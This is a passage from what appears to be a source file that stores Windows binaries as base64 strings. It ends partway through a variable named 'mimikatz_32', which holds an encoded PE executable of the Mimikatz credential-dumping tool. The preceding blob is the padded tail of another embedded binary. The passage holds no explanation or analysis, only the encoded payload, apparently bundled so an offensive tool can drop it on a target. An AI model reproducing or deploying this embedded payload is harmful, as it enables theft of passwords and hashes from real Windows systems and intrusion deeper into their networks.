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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=""" mimikatz_32=""" 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